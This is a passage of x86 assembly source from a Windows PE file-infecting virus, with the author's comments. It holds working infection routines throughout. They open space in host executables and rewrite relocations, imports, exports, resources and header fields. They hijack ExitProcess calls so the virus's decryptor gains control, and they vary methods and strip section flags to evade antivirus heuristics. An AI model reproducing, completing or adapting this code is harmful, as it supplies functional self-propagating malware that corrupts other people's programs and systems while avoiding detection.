;; Add TextHoleSize to physical offset of all headers (from .text)
;; Make a hole of size TextHoleSize at Phys_TextHoleAddr
xor eax, eax
call RandomBoolean_X004_7 ; Don't rely on fixed methods.
and eax, 0Fh ; Using this method, one on every X
or eax, eax ; infections will be forced to use the
; "no virtual hole" (and if it's not
; good, the genetic algorithm will make
; the adjust by "evolution").
jz @@HoleAtLastSection
mov ebx, [ebp+TextHeader]
mov eax, [ebx+10h] ; Get the physical size
cmp eax, [ebx+08h] ; Check against the virtual size
jae @@CheckPaddingSpace ; If Phys_Size > Virt_Size, jump
add eax, [ebx+14h] ; Get the physical offset where the
; section ends
mov [ebp+Phys_TextHole], eax ; Set the physical address
mov eax, [ebx+10h] ; Get the physical address
add eax, [ebx+0Ch] ; Add the virtual size
mov [ebp+RVA_TextHole], eax ; Size the virtual address of
; the hole.
mov eax, [ebx+08h] ; Get the virtual size
sub eax, [ebx+10h] ; Subtract the physical size
cmp eax, 200h ; If the hole has a size of at least
jb @@HoleAtLastSection ; 512 bytes,
cmp eax, 80000000h ; If it's signed (phys_size > virt)
ja @@Error ; then exit with error
cmp eax, 1000h ; If the size is greater than 4096
jbe @@TextHoleSizeOK ; bytes, limit it to 4096.
mov eax, 1000h
@@TextHoleSizeOK:
mov [ebp+MaxSizeOfDecryptor], eax ; Set the max size.
mov edx, ebx
mov ecx, [ebp+LastHeader] ; Get the last header in ECX
@@LoopAddPhysicalSize:
cmp edx, ebx ; Add the physical size to the
jz @@NextAddPhysicalSize ; physical offset of every
add [edx+14h], eax ; section to update it and make
@@NextAddPhysicalSize: ; the physical hole effective.
cmp edx, ecx
jz @@EndAddPhysicalSize
add edx, 28h
jmp @@LoopAddPhysicalSize
@@EndAddPhysicalSize: ; Now we make the hole physically.
mov edx, [ebp+MappingAddress]
mov edi, edx
add edx, [ebx+14h]
add edx, [ebx+10h]
add edi, [ebp+FileSize]
mov esi, edi
add edi, eax
add [ebx+10h], eax
mov eax, 1000h
add [ebp+FileSize], eax
@@LoopMakePhysicalHole: ; Make the hole
sub edi, 4
sub esi, 4
mov eax, [esi]
mov [edi], eax
cmp edi, edx
jnz @@LoopMakePhysicalHole
jmp @@TextHoleMade
;; This method of infection uses the last section to put both decryptor and
;; virus data. It's the method that makes more heuristical alarms, but well,
;; it's a standard one. Since we don't touch the section flags (in fact, if
;; the section flags have a WRITABLE flag we exit) we avoid that alarm.
@@HoleAtLastSection:
mov ebx, [ebp+LastHeader]
mov eax, [ebx+08h]
add eax, [ebx+0Ch] ; Set the virtual code hole at the
mov [ebp+RVA_TextHole], eax ; virtual end of the last sec.
mov eax, [ebx+08h] ; Physically, the same (but at the
add eax, [ebx+14h] ; physical end)
mov [ebp+Phys_TextHole], eax
mov eax, 1000h ; Set the maximum size of the
mov [ebp+MaxSizeOfDecryptor], eax ; decryptor to 4096
add [ebx+08h], eax
add [ebx+10h], eax
add [ebp+FileSize], eax
mov eax, [ebx+24h]
; or eax, 20000020h ; If section is readable, is also
; executable, since the exec flag is only
; checked at startup (and we don't jump here
; directly, since we use EPO).
and eax, 0FDFFFFFFh ; Eliminate the "DISCARDABLE" flag
mov [ebx+24h], eax
jmp @@GetDataHole
@@CheckPaddingSpace: ; Set the physical and virtual code
mov eax, [ebx+08h] ; hole address. After that, check
add eax, [ebx+0Ch] ; if we have enough padding space to
mov [ebp+RVA_TextHole], eax ; make the decryptor there.
mov eax, [ebx+08h]
add eax, [ebx+14h]
mov [ebp+Phys_TextHole], eax
mov eax, [ebx+10h]
sub eax, [ebx+08h] ; Set the alignment padding size as the
mov [ebp+MaxSizeOfDecryptor], eax ; maximum size of the
cmp eax, 200h ; decryptor. If it's below 512,
jb @@HoleAtLastSection ; make a last-section infection.
mov ecx, eax
mov eax, [ebx+10h]
add eax, [ebx+0Ch] ; If the virtual address + physical
cmp eax, [ebx+28h+0Ch] ; size of the section overpasses the
ja @@Error ; virtual size of the next section
; (overlapping it), exit with error.
add [ebx+08h], ecx ; Add the virtual size of the hole.
;; Fill hole with 0s
@@TextHoleMade:
mov ecx, [ebp+MaxSizeOfDecryptor]
mov edi, [ebp+Phys_TextHole]
add edi, [ebp+MappingAddress]
xor eax, eax
and ecx, 0FFFFFFFCh
@@LoopFillHole:
mov [edi], eax ; Overwrite the data of the hole with 0s.
add edi, 4
sub ecx, 4
or ecx, ecx
jnz @@LoopFillHole
mov eax, [ebx+08h] ; Set the new virtual size of the code
mov esi, [ebp+HeaderAddress] ; section as the virtual code
mov [esi+1Ch], eax ; size in the PE header.
@@GetDataHole:
mov ebx, [ebp+LastHeader]
mov eax, [ebp+RoundedSizeOfNewCode]
add [ebp+FileSize], eax
mov ecx, [ebx+24h]
and ecx, 80000000h
or ecx, ecx
jnz @@Error ; If last header is writable, exit!
mov ecx, [ebx+10h]
add ecx, [ebx+14h] ; Set the physical and virtual
mov [ebp+Phys_DataHole], ecx ; addresses of the data hole
mov ecx, [ebx+10h]
add ecx, [ebx+0Ch]
mov [ebp+RVA_DataHole], ecx
add eax, [ebx+10h]
mov [ebx+10h], eax ; Set the new section sizes
mov [ebx+08h], eax
@@AllHolesPrepared:
mov esi, [ebp+HeaderAddress] ; Set the new image size of
mov eax, [ebx+0Ch] ; the executable in the PE
add eax, [ebx+08h] ; header
mov [esi+50h], eax
;; Let's patch ExitProcess:
mov edx, [ebp+ExitProcessAddress] ; Get the virtual address
mov ebx, [ebp+TextHeader] ; of the import table
mov esi, [ebx+14h] ; where the function is.
add esi, [ebp+MappingAddress]
mov ecx, [ebx+10h]
sub ecx, 6
@@LoopFindExitProcess: ; Search calls to that import
mov eax, [esi] ; entry in the code of the
and eax, 0FFh ; executable.
cmp eax, 0FFh
jnz @@NextInstruction
mov eax, [esi+1]
and eax, 0FFh
cmp eax, 25h ; Search for both CALL ExitProcess
jz @@JMPMemFound ; and JMP ExitProcess (normally used
cmp eax, 15h ; by Microsoft's Visual Studio
jnz @@NextInstruction ; compiler and Borland compiler
@@JMPMemFound: ; respectivelly).
mov eax, [esi+2]
cmp eax, edx
jnz @@NextInstruction
;; ExitProcess found
add esi, 2 ; Patch that call/jmp to point to the
push edx ; code hole where the decryptor is.
mov edx, [ebp+HeaderAddress] ; In this way, our virus gets
mov edx, [edx+34h] ; the control when the exec
add edx, [ebp+RVA_TextHole] ; exits.
call PatchExitProcess
pop edx
add esi, 4
@@NextInstruction:
add esi, 1 ; Continue the search.
sub ecx, 1
or ecx, ecx
jnz @@LoopFindExitProcess
xor eax, eax ; Return with no error.
ret
PrepareFile endp
;; This function is the one that makes the code and data holes when we infect
;; by shifting down the sections of the executable.
;;
;; ESI = Header of section where we make the hole at the end
;; ECX = Size of hole
UpdateHeaders proc
;; Things to do:
;; 1) Update all offsets & code that point after the hole address using .reloc
;; info
;; 2) Update virtual & physical offsets that point after the hole address
;; referenced at section headers
;; 3) Update directory addresses at PE header
;; 4) Update all RVA references at resources tree
;; 5) Update all RVA references under import and export structures
;; They are not performed in this order!
push ecx ; Get what hole we are
mov eax, [ebp+MakingFirstHole] ; making (code or data hole)
or eax, eax
jz @@MakingDataHole ; If data hole, jump (put the hole
; at the beginning of the section)
mov eax, [esi+10h]
cmp eax, [esi+08h] ; Fix the virtual size if it's smaller
jbe @@TextSizeOK ; than the physical size.
mov [esi+08h], eax
@@TextSizeOK:
mov edi, [esi+0Ch]
add edi, [esi+10h] ; EDI = RVA of hole
push edi
mov eax, [esi+14h]
add eax, [esi+10h] ; EAX = Physical address of hole
push eax
jmp @@BeginUpdates ; All OK to start
@@MakingDataHole:
mov edi, [esi+0Ch]
push edi ; EDI = RVA of hole
mov eax, [esi+14h]
push eax
@@BeginUpdates:
; Let's update some headers
; At this point:
; ECX = Size of hole
; ESI = Header of section containing the hole
; EDI = RVA of hole
@@UpdateResources:
mov eax, [ebp+HeaderAddress]
mov ebx, [eax+88h] ; Get the physical address
or ebx, ebx ; of the resources
jz @@UpdateImports
call TranslateVirtualToPhysical
or ebx, ebx
jz @@End ; Only virtual???
mov eax, [ebx+0Ch] ; Get the number of resource entries
and eax, 0FFFFh ; in EDX
mov edx, [ebx+0Eh]
and edx, 0FFFFh
add edx, eax
or edx, edx
jz @@UpdateImports
; EBX = Address of root
; EDX = Number of entries
mov eax, ebx ; Update all the resources offsets
add eax, 10h
call UpdateResourceDir
@@UpdateImports:
call UpdateImports ; Update the imports (using the
; address of the hole at EDI and
; the size at ECX)
mov eax, [ebp+GetModuleHandleAddress]
or eax, eax ; Check if the required
jz @@End ; functions for a proper
; mov eax, [ebp+VirtualAllocAddress] ; virus-work are
; or eax, eax ; imported. If not,
; jz @@End ; exit.
mov eax, [ebp+GetProcAddressAddress]
or eax, eax
jz @@End
mov eax, [ebp+ExitProcessAddress]
or eax, eax
jz @@End
@@UpdateExports: ; Get the address of the
mov eax, [ebp+HeaderAddress] ; exporting data (if exists)
mov ebx, [eax+78h]
or ebx, ebx ; If there aren't exports,
jz @@ExportsUpdated ; update the next part
call TranslateVirtualToPhysical
or ebx, ebx ; Next part if error
jz @@ExportsUpdated
mov eax, [ebx+0Ch] ; If the offsets in the header
cmp eax, edi ; are situated AFTER the hole,
jb @@UpdateExportsOK_01 ; then we add the hole size
add [ebx+0Ch], ecx
@@UpdateExportsOK_01:
mov eax, [ebx+1Ch]
mov edx, [ebx+14h]
call UpdateArrayOfRVAs ; Update the RVAs in this array
mov eax, [ebx+1Ch] ; Update the array RVA itself
cmp eax, edi
jb @@UpdateExportsOK_02
add [ebx+1Ch], ecx
@@UpdateExportsOK_02:
mov eax, [ebx+20h] ; Update the RVAs in this array
mov edx, [ebx+18h]
call UpdateArrayOfRVAs
mov eax, [ebx+20h] ; Update the array RVA itself
cmp eax, edi
jb @@UpdateExportsOK_03
add [ebx+20h], ecx
@@UpdateExportsOK_03:
@@ExportsUpdated:
; Now we update all references inside code to things that point after
; the RVA of the hole we are creating. For that, we use .reloc info.
@@UpdateCodeSection:
push esi
mov eax, [ebp+RelocHeader] ; Get the relocation data
mov eax, [eax+14h]
add eax, [ebp+MappingAddress]
@@LoopUpdate_00:
mov esi, [eax] ; If it's void, end the fixing of
or esi, esi ; the code
jz @@AllUpdated
mov edx, 8
@@LoopUpdate_01:
cmp edx, [eax+4] ; Did we updated all the references
jae @@PageUpdated ; for this page? If it's so, go to
; update the next page.
add eax, edx
mov ebx, [eax]
sub eax, edx ; Get the fix address
and ebx, 0FFFFh
add edx, 2
cmp ebx, 2FFFh ; If it's not Intel ( <0x3000) don't
jbe @@LoopUpdate_01 ; fix it
and ebx, 0FFFh
add ebx, [eax] ; EBX = RVA of address to relocate
mov esi, [ebp+MakingFirstHole]
or esi, esi ; If we are making the data hole,
jnz @@UpdateCodeSec_Cont00 ; we add the text hole size
cmp ebx, [ebp+RVA_TextHole] ; if the update is after the
jb @@UpdateCodeSec_Cont00 ; the text hole
add ebx, [ebp+TextHoleSize]
@@UpdateCodeSec_Cont00:
call TranslateVirtualToPhysical ; Get the address in the
or ebx, ebx ; mapping for this virtual addr.
jz @@LoopUpdate_01
push eax
push edx ; Get the virtual address where
mov eax, [ebp+HeaderAddress] ; the DWORD we are updating
mov edx, [ebx] ; points to.
sub edx, [eax+34h]
cmp edx, edi ; If it points after the virtual
jb @@TranslateOK_02 ; address of the hole, update it
add [ebx], ecx
add edx, ecx
@@TranslateOK_02:
;; Now we check if that DWORD points to ExitProcess. If it does, we make it
;; point to the code hole.
mov esi, [ebx-2] ; Get if it's CALL or JMP
and esi, 0FFFFh
cmp esi, 15FFh
jz @@CheckExitProcess
cmp esi, 25FFh ; If it's not CALL/JMP DWORD PTR,
jnz @@ItsNotExitProcess ; don't take action!
@@CheckExitProcess:
cmp edx, [ebp+ExitProcessAddress] ; Check it it's a CALL/
jnz @@ItsNotExitProcess ; /JMP to ExitProcess
mov edx, [ebp+HeaderAddress]
mov edx, [edx+34h]
add edx, edi ; Get the virtual address
push esi
mov esi, ebx
call PatchExitProcess ; Patch the ExitProcess
pop esi
xor eax, eax ; Break possible APICALL_END mistranslation
pop edx
pop eax
push eax
add eax, edx
push edx
mov edx, [eax-2] ; We anulate the .reloc reference
and edx, 0FFFF0000h ; to avoid other update
mov [eax-2], edx
pop edx
pop eax
jmp @@LoopUpdate_01
@@ItsNotExitProcess:
@@TranslateOK: ; Get the next relocation value
pop edx
pop eax
jmp @@LoopUpdate_01
@@PageUpdated:
add eax, [eax+4]
jmp @@LoopUpdate_00
@@AllUpdated:
pop esi
;; Now we update some RVAs at the PE header. If we are making the code hole,
;; since it's at the end of the section, we update the data checking with
;; JB (the x86 conditional jump, not the whisky! And now make a mental image
;; of "checking the data with JB": me, with the computer, and a glass with ice
;; and JB in my hand checking opcodes XD). If we are making the
;; data hole, we check them with JBE (ooooh, that's not whisky!).
mov eax, [ebp+MakingFirstHole]
mov ebx, [ebp+HeaderAddress]
cmp [ebx+0Ch], edi ; RVA to the (possible) symbol table
jb @@Fixed_01
or eax, eax
jnz @@NotFixed_01
cmp [ebx+0Ch], edi
jz @@Fixed_01
@@NotFixed_01:
add [ebx+0Ch], ecx
@@Fixed_01:
cmp [ebx+28h], edi ; RVA to the entrypoint
jb @@Fixed_02
or eax, eax
jnz @@NotFixed_02
cmp [ebx+28h], edi
jz @@Fixed_02
@@NotFixed_02:
add [ebx+28h], ecx
@@Fixed_02:
cmp [ebx+2Ch], edi ; RVA to the base of code
jb @@Fixed_03
or eax, eax
jnz @@NotFixed_03
cmp [ebx+2Ch], edi
jz @@Fixed_03
@@NotFixed_03:
add [ebx+2Ch], ecx
@@Fixed_03:
cmp [ebx+30h], edi ; RVA to the base of data
jb @@Fixed_04
or eax, eax
jnz @@NotFixed_04
cmp [ebx+30h], edi
jz @@Fixed_04
@@NotFixed_04:
add [ebx+30h], ecx
@@Fixed_04:
add [ebx+50h], ecx ; Increase the size of the image
; by the size of the hole.
; Now we update the virtual offsets of the directories
mov edx, [ebp+HeaderAddress] ; Get the number of
mov edx, [edx+74h] ; directories
mov ebx, [ebp+HeaderAddress]
add ebx, 78h
xor eax, eax
@@LoopDir_01:
cmp eax, 4 ; If it's the security directory,
jz @@NextDir_01 ; don't update the address
cmp [ebx], edi
jb @@NextDir_01
add [ebx], ecx
@@NextDir_01:
add ebx, 8
inc eax
dec edx
or edx, edx
jnz @@LoopDir_01
;; Now we update the physical & virtual offsets of the sections
mov edx, [ebp+StartOfSectionHeaders]
mov ebx, [esi+14h]
mov eax, [ebp+MakingFirstHole]
or eax, eax
jz @@MakingDataHole_2
@@MakingCodeHole_2:
add ebx, [esi+10h] ; EBX = Physical offset of the hole
@@MakingDataHole_2:
mov eax, [ebp+HeaderAddress]
mov eax, [eax+6]
and eax, 0FFFFh ; Get the number of sections
push esi
mov esi, [ebp+MakingFirstHole]
@@LoopUpdate_02:
push eax
mov eax, [edx+14h] ; Check the section addresses. As we
cmp eax, ebx ; did before, if we are making the
jb @@NextSection_00 ; hole at code we check the physical
or esi, esi ; and virtual addresses and we update
jnz @@NextSection_00_ ; them if they are below. If we are
cmp eax, ebx ; making the data hole (at the
jz @@NextSection_00 ; beginning of the data section) we
@@NextSection_00_: ; check if the address is below or
add eax, ecx ; equal.
mov [edx+14h], eax
@@NextSection_00:
mov eax, [edx+0Ch]
cmp eax, edi
jb @@NextSection_01
or esi, esi
jnz @@NextSection_01_
cmp eax, edi
jz @@NextSection_01
@@NextSection_01_:
add eax, ecx
mov [edx+0Ch], eax
@@NextSection_01:
pop eax ; Next section.
add edx, 28h
dec eax
or eax, eax
jnz @@LoopUpdate_02
pop esi
;; Now we make the hole physically
add [esi+08h], ecx
add [esi+10h], ecx
cmp esi, [ebp+RelocHeader]
jz @@End
push ecx
push ebx ; PUSH Physical_Address_Of_Hole
mov edx, [ebp+MappingAddress]
add edx, [ebp+FileSize]
sub edx, 4
mov edi, edx
add edi, ecx
pop ecx
add ecx, [ebp+MappingAddress]
@@Again: mov eax, [edx] ; Shift down all data
mov [edi], eax
sub edx, 4
sub edi, 4
cmp edx, ecx
jae @@Again
;;; Here we fill the hole with 0s
pop ecx
and ecx, 0FFFFFFFCh
shr ecx, 2
add edx, 4
xor eax, eax
@@Again2: mov [edx], eax
add edx, 4
dec ecx
or ecx, ecx
jnz @@Again2
@@End: pop eax
pop edi
mov ecx, 0 ; Break the 3-POP sequence to avoid a
pop ecx ; mis-identification with APICALL_END if the
ret ; registers are translated as EDX,ECX,EAX in
; any generation.
UpdateHeaders endp
;; This function gets the array of RVAs in EAX and updates them as always.
UpdateArrayOfRVAs proc
or eax, eax ; If the array RVA is 0, then exit
jz @@UpdateArray_OK
or edx, edx ; If the number of elements in the array
jz @@UpdateArray_OK ; is 0, then exit
push ebx
mov ebx, eax ; Get the physical address
call TranslateVirtualToPhysical
mov eax, ebx
pop ebx
or eax, eax ; If error, exit
jz @@UpdateArray_Updated01
@@UpdateArrayLoop_01:
cmp [eax], edi ; Now check every RVA and fix it
jb @@UpdateArray_Updated01 ; if it points after the hole
add [eax], ecx
@@UpdateArray_Updated01:
add eax, 4
dec edx
or edx, edx
jnz @@UpdateArrayLoop_01
@@UpdateArray_OK:
ret
UpdateArrayOfRVAs endp
;; This function gets the RVA at EBX and looks the section where the RVA
;; points whithin. When we find it, then we add the physical address of the
;; section and the physical address of the mapping, returning the physical
;; address that corresponds to that virtual one.
;;
;; EBX = Virtual address
TranslateVirtualToPhysical proc
push ecx
or ebx, ebx
jz @@Error
mov ecx, [ebp+HeaderAddress]
mov ecx, [ecx+6]
and ecx, 0FFFFh ; Get the number of sections
push edx
mov edx, [ebp+StartOfSectionHeaders]
push eax
@@LoopSection:
mov eax, [edx+0Ch] ; Virtual address of section
cmp ebx, eax ; If it's below, it isn't here
jb @@NextSection
add eax, [edx+10h] ; Add the size of the section to the
; virtual address of it to get the end
; address of the section
cmp ebx, eax ; If <EBX> is above, it isn't here
jae @@NextSection
sub ebx, [edx+0Ch] ; Get the offset inside the section
add ebx, [edx+14h] ; Add that offset to the physical addr.
pop eax ; of the section.
pop edx
add ebx, [ebp+MappingAddress] ; Add the mapping address.
pop ecx
ret ; Return with OK
@@NextSection:
add edx, 28h ; Check next section
dec ecx
or ecx, ecx
jnz @@LoopSection
pop eax
pop edx
@@Error: xor ebx, ebx ; If the RVA isn't inside any section,
pop ecx ; return 0.
ret
TranslateVirtualToPhysical endp
;; This function updates the RVAs of the resource tree.
UpdateResourceDir proc
@@UpdateResourceDir2:
push eax
mov eax, [eax+4] ; If 0, update the data (terminal
and eax, 80000000h ; node)
or eax, eax
jz @@UpdateData
pop eax
push eax
mov eax, [eax+4] ; Get the branch address
and eax, 7FFFFFFFh
add eax, ebx
push edx
push eax
mov edx, [eax+0Ch] ; Get the number of branches that
and edx, 0FFFFh ; hold from this parent
mov eax, [eax+0Eh]
and eax, 0FFFFh
add edx, eax
pop eax
add eax, 10h ; Update the branch recursively
call @@UpdateResourceDir2
pop edx
jmp @@NextDir ; Check next branch
@@UpdateData:
pop eax ; Get the data address
push eax
mov eax, [eax+4]
add eax, ebx
mov eax, [eax] ; Get the RVA to the element in EAX
cmp eax, edi ; If it's above the hole address, fix it
jb @@UpdateOK
pop eax
push eax
mov eax, [eax+4] ; Get the RVA to the element
add eax, ebx ; Add it to the undo buffer
push ebx
mov ebx, eax
call AddUndoAction
pop ebx
add [eax], ecx ; Fix the RVA
@@UpdateOK:
@@NextDir: pop eax
add eax, 8 ; Get the next directory
dec edx ; If there aren't more elements, return
or edx, edx ; (recursive call, so go to next branch
jnz @@UpdateResourceDir2 ; or return completely)
ret
UpdateResourceDir endp
;; This function adds an "undo" action to the undo buffer. If there is an
;; error in the process of updating the headers, when closing the file we
;; get this data and restore the old values.
AddUndoAction proc
push edx
mov edx, [ebp+MakingFirstHole] ; Only make undo actions
or edx, edx ; when making the first hole. If
jz @@Return ; we make a second, we can't fail
; of doing it, since all checks
; where passed on the making of
; the first one.
push eax
mov edx, [ebp+NumberOfUndoActions] ; Get the counter
add edx, [ebp+OtherBuffers] ; Get the last element address
mov [edx], ebx ; + 1 and store the offset of
mov eax, [ebx] ; the value to undo and the
mov [edx+4], eax ; data that address holds.
add edx, 8
sub edx, [ebp+OtherBuffers] ; Increase the number of undo
mov [ebp+NumberOfUndoActions], edx ; actions and exit.
pop eax
@@Return: pop edx
ret
AddUndoAction endp
;; This function gets the undo buffer and restores the data we saved. We must
;; do this because there isn't a way of telling the Kernel32 to discard the
;; changes made to the mapping, so we have to make it manually.
UndoChanges proc
mov edx, [ebp+NumberOfUndoActions] ; Get the counter of
or edx, edx ; undo actions. If 0, exit.
jz @@Ret
mov ecx, edx
sub edx, 8
add edx, [ebp+OtherBuffers]
@@Loop01:
mov ebx, [edx] ; Get the address of the DWORD to restore
mov eax, [edx+4] ; Get the value to put for restoration
mov [ebx], eax ; Restore it
sub edx, 8
sub ecx, 8 ; Next element
or ecx, ecx ; If we haven't restored all, loop
jnz @@Loop01
@@Ret: ret
UndoChanges endp
;; This function updates the import table, and returns the addresses of the
;; APIs the virus needs on execution.
;; Entries:
;; EDI = Virtual address of hole
;; ECX = Size of hole
;; If we use EDI = 0FFFFFFFFh as the address of the hole, nothing is updated
;; (it's logical, since all the RVAs are below this value), but the virtual
;; function addresses that we must use from the import table are retrieved.
;;
;; As an error control, we use the addresses of the functions that we expect
;; to be retrieved here. If any of these functions (ExitProcess, GetProcAddress
;; and GetModuleHandleA/W) are 0, then an error happened or any of them isn't
;; imported.
UpdateImports proc
push esi
mov eax, [ebp+HeaderAddress] ; Get the import header addr.
mov ebx, [eax+80h]
or ebx, ebx
jz @@ImportsUpdated
call TranslateVirtualToPhysical ; Get the physical address.
or ebx, ebx ; If error, exit
jz @@ImportsUpdated
@@UpdateImports_Loop00:
mov eax, [ebx+0Ch] ; Get the RVA of the module name.
or eax, eax ; If no name, error!
jz @@ImportsUpdated
cmp eax, edi ; Fix it
jb @@UpdateImportsOK_01
add ebx, 0Ch
call AddUndoAction
add [ebx], ecx ; [EBX+0Ch]
sub ebx, 0Ch
@@UpdateImportsOK_01:
push ebx ; Initialize this flag
xor ebx, ebx
mov [ebp+Kernel32Imports], ebx
mov ebx, eax
call TranslateVirtualToPhysical ; Get the physical address
or ebx, ebx ; of the module name
jz @@UpdateImports_Next00
mov eax, [ebx] ; Check if it's KERNEL32
and eax, 1F1F1F1Fh
cmp eax, 'nrek' AND 1F1F1F1Fh
jnz @@UpdateImports_Next00
mov eax, [ebx+4]
and eax, 0FFFF1F1Fh
cmp eax, '23le' AND 0FFFF1F1Fh
jnz @@UpdateImports_Next00
mov eax, 1 ; If it is, set the flag
mov [ebp+Kernel32Imports], eax
@@UpdateImports_Next00:
pop ebx
mov eax, [ebx] ; Get the RVA to the function names
or eax, eax
jz @@UpdateImportsOK_04
push ebx ; Get the physical address of the
mov ebx, eax ; array
call TranslateVirtualToPhysical
mov eax, ebx
pop ebx
or eax, eax
jz @@UpdateImportsOK_04
@@UpdateImports_Loop01:
mov edx, [eax] ; Get an RVA from the array
or edx, edx
jz @@UpdateImportsOK_02
cmp edx, 80000000h ; Ordinal?
jae @@UpdateImports_UpdatedOK ; Then, don't update
mov esi, [ebp+Kernel32Imports] ; KERNEL32 module?
or esi, esi ; If not, don't check the
jz @@UpdateImports_NotKernel32 ; name
push ebx
mov ebx, edx
call TranslateVirtualToPhysical ; Get the physical address
or ebx, ebx ; of the function name
jz @@UpdateImports_UnknownFunction
mov esi, [ebx+2]
cmp esi, 'tixE' ; Check for ExitProcess
jz @@UpdateImports_ExitProcess00
cmp esi, 'MteG' ; Check for GetModuleHandle
jz @@UpdateImports_GetModuleHandle00
cmp esi, 'PteG' ; Check for GetProcAddress
jz @@UpdateImports_GetProcAddress00
cmp esi, 'triV' ; Check for VirtualAlloc
jnz @@UpdateImports_UnknownFunction
@@UpdateImports_VirtualAlloc:
mov esi, [ebx+0Bh]
cmp esi, 'loc'
jnz @@UpdateImports_UnknownFunction
xor esi, esi ; VirtualAlloc ID
jmp @@UpdateImports_SaveFunctionAddress
@@UpdateImports_GetProcAddress00:
mov esi, [ebx+6]
cmp esi, 'Acor'
jnz @@UpdateImports_UnknownFunction
mov esi, 1 ; GetProcAddress ID
jmp @@UpdateImports_SaveFunctionAddress
@@UpdateImports_ExitProcess00:
mov esi, [ebx+6]
cmp esi, 'corP'
jnz @@UpdateImports_UnknownFunction
mov esi, 2 ; ExitProcess ID
jmp @@UpdateImports_SaveFunctionAddress
@@UpdateImports_GetModuleHandle00:
mov esi, [ebx+0Ah]
cmp esi, 'naHe'
jnz @@UpdateImports_UnknownFunction
mov esi, [ebx+0Eh]
cmp esi, 'Aeld' ; Check for GetModuleHandleA
jz @@UpdateImports_GetModuleHandleAFound
cmp esi, 'Weld' ; Check for GetModuleHandleW
jnz @@UpdateImports_UnknownFunction
mov esi, 1
jmp @@UpdateImports_GetModuleHandleFound
@@UpdateImports_GetModuleHandleAFound:
xor esi, esi
@@UpdateImports_GetModuleHandleFound:
mov [ebp+GetModuleHandleMode], esi ; Set the mode: A or W
mov esi, 3 ; GetModuleHandle ID
@@UpdateImports_SaveFunctionAddress:
pop ebx
; EBX = Imports header
; EAX = Physical address of position in names array
push ebx
push eax
push ebx
mov ebx, [ebx] ; Fix the RVA into the array
call TranslateVirtualToPhysical
sub eax, ebx ; Position in array
pop ebx
add eax, [ebx+10h]
cmp eax, edi ; If EDI == -1, this is not fixed
jb @@UpdateImports_SetFunctionAddress
add eax, ecx
@@UpdateImports_SetFunctionAddress:
or esi, esi ; Set the function address
jz @@UpdateImports_SetVirtualAlloc
cmp esi, 1
jz @@UpdateImports_SetGetProcAddress
cmp esi, 2
jz @@UpdateImports_SetExitProcess
@@UpdateImports_SetGetModuleHandle:
mov [ebp+GetModuleHandleAddress], eax
jmp @@UpdateImports_FunctionSet
@@UpdateImports_SetVirtualAlloc:
mov [ebp+VirtualAllocAddress], eax
jmp @@UpdateImports_FunctionSet
@@UpdateImports_SetGetProcAddress:
mov [ebp+GetProcAddressAddress], eax
jmp @@UpdateImports_FunctionSet
@@UpdateImports_SetExitProcess:
mov [ebp+ExitProcessAddress], eax
@@UpdateImports_FunctionSet:
pop eax
@@UpdateImports_UnknownFunction:
@@UpdateImports_Continue00:
pop ebx
@@UpdateImports_NotKernel32:
cmp edx, edi
jb @@UpdateImports_UpdatedOK
push ebx
mov ebx, eax
call AddUndoAction ; Add the undo action for this
pop ebx ; address
add [eax], ecx
@@UpdateImports_UpdatedOK:
add eax, 4 ; Next array entry
jmp @@UpdateImports_Loop01
@@UpdateImportsOK_02:
mov eax, [ebx] ; Fix the array RVA itself
cmp eax, edi
jb @@UpdateImportsOK_03
call AddUndoAction
add [ebx], ecx
@@UpdateImportsOK_03:
add ebx, 10h ; Fix the RVA to the array of imported
mov eax, [ebx] ; functions. It holds the imported
cmp eax, edi ; addresses of the functions in run-time
jb @@UpdateImportsOK_04_ ; (but see below for a "cool"
; feature)
call AddUndoAction ; Add the undo action for this.
add eax, ecx
mov [ebx], eax
sub eax, ecx
@@UpdateImportsOK_04_:
sub ebx, 10h
@@UpdateImportsOK_04:
;; Big-time duddy-dudde chili-chap Micro$oft paranoical "optimization"
;; What are that thunks at +10h in import header? Just guess!!
;; I was amazed why the infected programs worked under WinNT but NOT under
;; win9x (just the opposite of what it happens normally). So, I supposed that
;; the values at this thunk were always updated with the kernel exported
;; addresses, so, just in case, it didn't matter if I updated also these
;; addresses. FALSE!! (now imagine lots of red lights and alarms). By any
;; dark reason, the win32 subsystem doesn't update that addresses if the
;; executable runs under the operating system where it was compiled or
;; was compiled for!! Windows NT updates this addresses ALWAYS, but not
;; Win9x, which uses the hardcoded API addresses that are already at the
;; executable (!!!!!!!!!!!!!!). So, if we don't touch this, all is fine.
;;
;; Idea: we can make EPO if we save this values and set our own ones. It will
;; only work under Win9x, something that it's fine if we are making a ring-0
;; virus.
; push ebx
; mov ebx, eax
; call TranslateVirtualToPhysical
; or ebx, ebx
; jz @@NextRecord
; @@LoopUpdateThunks:
; mov eax, [ebx]
; or eax, eax
; jz @@NextRecord
; cmp eax, edi
; jb @@ThunkUpdated
; call AddUndoAction
; add eax, ecx
; mov [ebx], eax
; @@ThunkUpdated:
; add ebx, 4
; jmp @@LoopUpdateThunks
; @@NextRecord:
; pop ebx
add ebx, 14h ; Get next import header
jmp @@UpdateImports_Loop00
@@ImportsUpdated:
pop esi
ret
UpdateImports endp
;; Let's patch ExitProcess with several methods. The size of the patch must
;; be less than 6 bytes.
;; An alternate way has been added, which only works for Win9x: the Import
;; table is patched but not the call, so under Win9x, if the system coincides
;; with the version expressed in the header, the call will be made. This makes
;; a virus that is dormant under WinNT but spreads on Win9x.
;; ESI = Address to patch
;; EDX = Address to point to
PatchExitProcess proc
push eax
mov eax, 1
call RandomBoolean_X004_7 ; WEIGHT_X005
or eax, eax
jz @@PUSHRET
@@IndirectDisplacement: ; Let's make "JMP/PUSH [Address]"
push ecx
mov eax, [ebp+TextHeader] ; Get the code section address
mov ecx, [eax+10h] ; Get the size in ECX
mov eax, [eax+14h]
add eax, [ebp+MappingAddress]
push edx
sub ecx, 4
@@LoopFindHole:
sub ecx, 1
or ecx, ecx
jz @@NotFound ; Search for a hole of the type
mov edx, [eax] ; "INT 3 padded" of at least DWORD
cmp edx, 0CCCCCCCCh ; sized
jz @@HoleFound
add eax, 1
jmp @@LoopFindHole
@@NotFound:
pop edx ; If we didn't find anything, make the
pop ecx ; other method
jmp @@PUSHRET
@@HoleFound:
pop edx ; Put the address to jump at the hole,
mov [eax], edx ; overwriting the padding.
mov ecx, [esi+4]
and ecx, 0FFh ; Now look the way ExitProcess is made.
cmp ecx, 0C3h ; Is there a RET after it? (the compilers
; put them)
jz @@RetInserted ; If it is, put "PUSH DWORD PTR [ExitP]"
